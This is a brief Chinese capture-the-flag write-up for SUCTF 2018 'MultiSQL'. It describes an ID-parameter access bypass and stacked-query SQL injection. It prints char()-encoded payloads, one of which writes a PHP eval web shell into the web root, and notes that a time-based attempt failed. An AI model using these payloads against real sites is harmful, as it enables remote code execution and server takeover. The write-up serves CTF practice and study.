[SUCTF 2018]MultiSQL
页面源代码未发现异常,先扫一遍目录。
首先分析应用功能点和逻辑。
发现前端可用功能只有登录和注册,再结合题目名称,估计是有sql注入。
首先注册用户test/1
完成后跳转至/user/user.php
,可以
- 查看用户信息,通过修改请求id可越权查看admin用户的信息
/user/user.php?id=1
- 上传头像文件
- 退出登录
登录界面可以使用注册的账号登录。
在简单手动测试登录和查看用户信息功能是否有sql注入后,发现在/user/user.php?id=1
处存在数字型注入。
在尝试通过基于时间的注入进行验证时,发现并没有预期的响应延迟。
再结合题目名称,尝试结合预处理语句进行注入,发现基于时间的注入依旧不可行。
1 | ?id=2;set+@sql=char(73,65,6c,65,63,74,20,73,6c,65,65,70,28,35,29,3b);prepare+query+from+@sql;execute+query; |
通过查看wp,发现直接通过mysql写入文件是成功的,不知道为何。
1 | ?id=2;set+@sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare+query+from+@sql;execute+query; |
最后直接访问shell可以获取到根目录的flag文件内容。